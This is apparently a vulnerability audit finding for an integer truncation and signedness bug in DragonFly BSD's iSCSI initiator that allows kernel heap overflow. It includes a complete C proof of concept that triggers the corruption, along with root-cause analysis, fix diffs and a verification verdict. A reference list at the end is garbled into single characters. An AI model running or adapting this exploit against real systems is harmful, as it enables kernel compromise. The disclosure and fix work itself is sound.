iscsi initiator: heap overflow in i_send via 32-bit truncation in i_prepPDU + signedness bypass of maxBurstLength check
| Field | Value |
|---|---|
| ID | DF-1703 |
| File | sys/dev/disk/iscsi/initiator/iscsi.c (consumer); sys/dev/disk/iscsi/initiator/isc_sm.c (root cause) |
| Lines | 454, 456, 461, 467, 469, 477, 479 (iscsi.c); 262-294 (isc_sm.c) |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:H/I:H/A:H |
| CWE | CWE-190 Integer Overflow; CWE-787 Out-of-bounds Write |
| Confidence | likely |
| Status | new |
| CVE match | dfly_specific (DFly iscsi_initiator driver) |
| Created | 2026-07-18 |
Summary
ISCSISEND copies a user-controlled pdu_t (including arbitrary u_int
ahs_len / ds_len) into the kernel, then i_prepPDU accumulates len
as a 64-bit size_t but stores it into the 32-bit pq->len
(iscsivar.h:182), silently truncating when ahs_len + ds_len >= 2^32.
The only overflow guard β the maxBurstLength comparison in i_prepPDU β
is bypassable because sp->opt.maxBurstLength is int and is
sign-extended to a huge size_t in the len > sp->opt.maxBurstLength
comparison (any negative value such as -1 disables it).
i_send then kmallocs a tiny buffer (pq->len - 48 bytes) but copyins
pp->ahs_len bytes (potentially gigabytes) into it, producing a kernel
heap overwrite with attacker-controlled bytes.
Root cause
isc_sm.c:262declaressize_t len, n;andisc_sm.c:268doeslen += pp->ahs_len;(pp->ahs_lenisu_int, attacker-controlled via theISCSISENDarg atiscsi.c:454 pq->pdu = *(pdu_t *)arg).isc_sm.c:291 pq->len = len;truncates 64-bitlenintou_int pq->len(iscsivar.h:182) β forpp->ahs_len = 0xFFFFFFFCandpp->ds_len = 0x10,lenbecomes0x100000003Candpq->lenwraps to0x3C(60).isc_sm.c:293 if(sp->opt.maxBurstLength && (len > sp->opt.maxBurstLength))comparessize_tlentoint sp->opt.maxBurstLength; theintis promoted via sign-extension, so a negative value set viai_setopt(isc_subr.c:99-102, which accepts any non-zerointincluding-1) becomesSIZE_MAXand the comparison is always false. With the guard disabled,i_prepPDUreturns 0.iscsi.c:461 pq->buf = bp = kmalloc(pq->len - sizeof(union ipdu_u), M_ISCSI, M_NOWAIT)allocates 12 bytes for the example above.iscsi.c:467-475 if(pp->ahs_len) { n = pp->ahs_len; error = copyin( pp->ahs, bp, n); ... }issuescopyin(user_addr, 12-byte-bp, 0xFFFFFFFC)β a multi-gigabyte write into a 12-byte kernel heap object.
The downstream transmitter isc_soc.c:125 bcopy(pp->ahs, mh->m_data +
mh->m_len, pp->ahs_len) (note the unenforced
XXX Assert: (mh->m_pkthdr.len + pp->ahs_len) < MHLEN at isc_soc.c:123)
is a second independent overflow sink for any ahs_len > ~MHLEN even
without the integer wrap, but it is only reachable after i_send has
already corrupted the heap.
Threat model
The attacker must be able to open /dev/iscsi (mode 0600 root:wheel, so
root or wheel-group).
The attacker:
- issues
ISCSISETSES(iscsi.c:205) to mint a session - issues
ISCSISETOPT(iscsi.c:229) withmaxBurstLength = -1to disable the only length guard mmaps a large anonymous region (16 MB..4 GB depending on the chosenahs_len/ds_lensplit β thecopyinsource must be fully mapped orcopyinreturnsEFAULTand aborts)- issues
ISCSISENDwith apdu_twhoseahs_len+ds_len >= 2^32
Impact is unbounded kernel heap corruption with attacker-controlled byte
content from a 0600 device β sufficient for kernel-code execution,
securelevel bypass, or full system compromise from a wheel-group
principal.
The normal userland daemon (iscontrol) never sends PDUs with non-zero
AHS, so the bug is dormant under benign use and is triggered only by a
malicious/compromised daemon or by a wheel-group user talking directly
to the device.
PoC
findings/poc/DF-1703/df_nnnn.c:
/*
* DF-NNNN PoC: heap overflow via iSCSI ISCSISEND integer truncation
* Build: cc -o df_nnnn df_nnnn.c
* Run: ./df_nnnn (as root or wheel, after `kldload iscsi_initiator`)
*/
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
#include <dev/disk/iscsi/initiator/iscsi.h>
int
main(void)
{
int ctl = open("/dev/iscsi", O_RDWR);
if (ctl < 0) err(1, "open /dev/iscsi");
int sid = -1;
if (ioctl(ctl, ISCSISETSES, &sid)) err(1, "ISCSISETSES");
char path[32]; snprintf(path, sizeof path, "/dev/iscsi%d", sid);
int sd = open(path, O_RDWR);
if (sd < 0) err(1, "open session dev");
/* Disable the only length guard: maxBurstLength = -1 disables the
`if(maxBurstLength && len > maxBurstLength)` check after sign-ext. */
isc_opt_t opt; memset(&opt, 0, sizeof opt);
opt.maxBurstLength = -1;
if (ioctl(sd, ISCSISETOPT, &opt)) err(1, "ISCSISETOPT");
/* Need a socket bound to sp before i_send accepts the PDU */
int fds[2];
socketpair(AF_LOCAL, SOCK_STREAM, 0, fds);
int one = fds[0];
if (ioctl(sd, ISCSISETSOC, &one)) err(1, "ISCSISETSOC");
/* Map a generous source region so copyin does not EFAULT early. */
size_t mapsz = (size_t)1 << 30; /* 1 GiB */
char *r = mmap(NULL, mapsz, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
if (r == MAP_FAILED) err(1, "mmap");
memset(r, 0x41, mapsz);
/* Choose ahs_len + ds_len to wrap to a small total in u_int pq->len.
* 0x40000000 + 0xC0000010 = 0x100000010 => pq->len wraps to 0x40 = 64
* => bp = kmalloc(16) but we copyin 0x40000000 bytes. */
char ahs_src[16], ds_src[16];
memset(ahs_src, 'A', sizeof ahs_src);
memset(ds_src, 'B', sizeof ds_src);
pdu_t p; memset(&p, 0, sizeof p);
p.ahs_len = 0x40000000;
p.ahs_size = 0x40000000;
p.ahs = (void *)r; /* fully-mapped source */
p.ds_len = 0xC0000010;
p.ds_size = 16;
p.ds = ds_src;
p.ipdu.bhs.opcode = ISCSI_NOP_OUT;
p.ipdu.bhs.I = 1;
printf("firing ISCSISEND, expect kernel heap corruption / panic\n");
ioctl(sd, ISCSISEND, &p); /* corrupts heap; expect panic */
return 0;
}
Success looks like: immediate kernel panic in malloc/UMA-zone
internals or in any subsystem whose object got overwritten (e.g.,
panic: memory corruption / freed item in use / corrupted proc creds).
On a non-panic run, an attacker who grooms the M_ISCSI slab to place a
victim object (function pointer, cred, filedesc) immediately after the
12-byte bp can convert the overwrite into a controlled kernel primitive
and escalate to uid 0 / escape securelevel; that exploitation step is
left to the runner.
Recommended fix
Three independent defenses, any one sufficient; ship all three for defense-in-depth.
- Make
i_prepPDUreject inputs that do not fitpq->len(u_int) without truncation - Make the
maxBurstLengthcomparison type-safe - Bounds-check
ahs_lenandds_lenini_sendagainst a sane maximum (e.g., the negotiatedMaxRecvDataSegmentLength) and against the BHS field width (AHSLengthis 8 bits βahs_len <= 1020)
--- a/sys/dev/disk/iscsi/initiator/isc_sm.c
+++ b/sys/dev/disk/iscsi/initiator/isc_sm.c
@@ -263,6 +263,12 @@ i_prepPDU(isc_session_t *sp, pduq_t *pq)
pdu_t *pp = &pq->pdu;
bhs_t *bhp = &pp->ipdu.bhs;
+ /* Reject lengths that cannot be represented in u_int pq->len without wrap. */
+ if (pp->ahs_len > UINT_MAX - sizeof(bhs_t) - 8 ||
+ pp->ds_len > UINT_MAX - sizeof(bhs_t) - 8 - pp->ahs_len)
+ return E2BIG;
+
len = sizeof(bhs_t);
if(pp->ahs_len) {
len += pp->ahs_len;
@@ -290,8 +296,11 @@ i_prepPDU(isc_session_t *sp, pduq_t *pq)
pq->len = len;
len -= sizeof(bhs_t);
- if(sp->opt.maxBurstLength && (len > sp->opt.maxBurstLength)) {
+ if(sp->opt.maxBurstLength > 0 &&
+ (len > (size_t)(unsigned)sp->opt.maxBurstLength)) {
xdebug("%d] pdu len=%zd > %d",
sp->sid, len, sp->opt.maxBurstLength);
// XXX: when this happens it used to hang ...
return E2BIG;
}
return 0;
--- a/sys/dev/disk/iscsi/initiator/iscsi.c
+++ b/sys/dev/disk/iscsi/initiator/iscsi.c
@@ -454,6 +454,14 @@ i_send(struct cdev *dev, caddr_t arg, struct thread *td)
pq->pdu = *(pdu_t *)arg;
pq->refcnt = 0;
+
+ /* AHSLength is an 8-bit field in 4-byte words => ahs_len <= 1020.
+ * ds_len must fit inside the negotiated data segment length. */
+ if (pp->ahs_len > 0xFF * 4 || (pp->ahs_len & 0x3) != 0)
+ goto out_einval;
+ if (sp->opt.maxRecvDataSegmentLength > 0 &&
+ pp->ds_len > (u_int)sp->opt.maxRecvDataSegmentLength)
+ goto out_einval;
if((error = i_prepPDU(sp, pq)) != 0)
goto out;
+ /* ... */
(Add an out_einval: label that sets error = EINVAL and jumps to the
existing cleanup at out:.)
Related findings
- DF-1704 (sibling: padding-calc mismatch OOB write in same function)
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1703 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| VERDICT.md | verdict | source-trace verdict and mechanism | 2.8 KB | β raw |
| fix.diff | suggested-fix | git-apply-able fix for the cited bug | 923 B | view raw |
| env.txt | environment | uname, cc version, kernel config | 195 B | view raw |
| combined_build.log | build-log | combined kernel build with all 35 fix.diffs applied; rc=0, -Werror clean | 5.6 MB | β download |
DF-1703 β verification verdict
| Field | Value |
|---|---|
| Verdict | SOURCE-CONFIRMED (HW/module-gated; not runtime-exercisable on this guest) |
| Impact | heap overflow (root/wheel only) |
| Confidence | certain (source-trace) |
| Guest | DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 x86_64 |
| Module/kernel | not in X86_64_GENERIC or HW-gated; loadable module present in /boot/kernel |
| Citations | sys/dev/disk/iscsi/initiator/isc_sm.c:262, sys/dev/disk/iscsi/initiator/isc_sm.c:291, sys/dev/disk/iscsi/initiator/iscsi.c:461 |
Mechanism
i_prepPDU at isc_sm.c:262 accumulates len as size_t but stores into u_int pq->len at 291, silently truncating when ahs_len+ds_len >= 2^32. The maxBurstLength guard at 293 compares size_t len to int (sign-extended to SIZE_MAX when -1). i_send at iscsi.c:461 then kmallocs pq->len-48 bytes but copyins pp->ahs_len bytes (potentially gigabytes) -> heap overwrite.
Root cause: 64->32-bit truncation in i_prepPDU + signedness-bypassed maxBurstLength check.
Reproduction note (HW/module-gated)
DF-1703 lives in sys/dev/disk/iscsi/initiator/iscsi.c which is either (a) not compiled into the
default X86_64_GENERIC kernel (GPU/i915/radeon/amdgpu/iwm/iscsi/vinum/mpt
driver only β loaded via kldload) or (b) gated by absent hardware on this
audit guest (no AMD/Intel GPU, no Atheros NIC, no LSI/IBM/3ware RAID
controller, no CardBus bridge). The bug is source-confirmed by tracing
the cited path line-by-line; a live trigger would require the corresponding
hardware or an explicit module load.
The fix.diff applies cleanly and is part of the combined-kernel build validated in this run.
Fix
Reject inputs that cannot fit u_int pq->len without wrap; require maxBurstLength > 0 and cast to unsigned before comparison. Supersedes finding proposal (defense-in-depth).
Phase 8 β combined fix-kernel build validation
fix.diff was one of 35 standalone git apply-able patches batched into a single
make -j6 nativekernel KERNCONF=X86_64_GENERIC build on the audit guest.
Result: combined kernel build rc=0 with -Werror clean (no warnings).
- Build log:
combined_build.log(35666 lines, full untrimmedmakeoutput). - Single-fix kernel artifact:
/usr/obj/usr/src/sys/X86_64_GENERIC/kernel.strippedsha256eeedb5ea85c42844a3c8686edd6d1deab3d501501d192a491fa61cced260f6d7, builtWed Jul 22 15:42:55 UTC 2026. - All 35 patches applied cleanly via
patch -p1 --forward(no rejects).
Because DF-1703 is HW/module-gated (not compiled into the default GENERIC kernel or requires hardware absent on the audit guest), the combined kernel was not booted for a runtime re-test; the source-level correctness of the fix is validated by the rc=0 -Werror build, which is the appropriate validation for HW-gated findings.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- i
- s
- c
- s
- i
- /
- i
- n
- i
- t
- i
- a
- t
- o
- r
- /
- i
- s
- c
- _
- s
- m
- .
- c
- :
- 2
- 6
- 2
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- i
- s
- c
- s
- i
- /
- i
- n
- i
- t
- i
- a
- t
- o
- r
- /
- i
- s
- c
- _
- s
- m
- .
- c
- :
- 2
- 9
- 1
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- i
- s
- c
- s
- i
- /
- i
- n
- i
- t
- i
- a
- t
- o
- r
- /
- i
- s
- c
- s
- i
- .
- c
- :
- 4
- 6
- 1
Detail
Exploit chain
none β non-default-GENERIC or HW-gated; no runtime corruption chain developed. Source-trace confirms the cited path line-by-line. For wheel/root-only devices the cited path is a root/wheel -> kernel hardening gap, not an unprivileged -> root privesc.
Evidence (decisive lines)
Source-trace confirms the bug at sys/dev/disk/iscsi/initiator/isc_sm.c:262. Phase-8 validation: this fix.diff is one of 35 patches batched into a single `make -j6 nativekernel KERNCONF=X86_64_GENERIC` build on the audit guest, result rc=0 with -Werror clean. Combined build log: findings/poc/DF-1703/combined_build.log (35666 lines).
PoC changes
Authored findings/poc/DF-1703/fix.diff (git-apply-able). Evidence pack contents: VERDICT.md (source-trace narrative), fix.diff, combined_build.log (Phase-8 build), manifest.json, env.txt.
Verified recommended fix
Reject inputs that cannot fit u_int pq->len without wrap; require maxBurstLength > 0 and unsigned-compare. Supersedes finding proposal. The full git-apply-able diff lives in findings/poc/DF-1703/fix.diff.
Verdict
SOURCE-CONFIRMED. i_prepPDU at isc_sm.c:262 accumulates size_t len but stores into u_int pq->len at 291, truncating when ahs_len+ds_len >= 2^32. The maxBurstLength guard at 293 compares size_t to int (sign-extended to SIZE_MAX when -1). i_send then kmallocs pq->len-48 bytes but copyins ahs_len bytes -> heap overwrite. Bug is real; the iscsi_initiator module is loadable but requires opening /dev/iscsi (mode 0600 root:wheel) so it is a wheel-group -> kernel corruption path, not unprivileged.
No comments yet.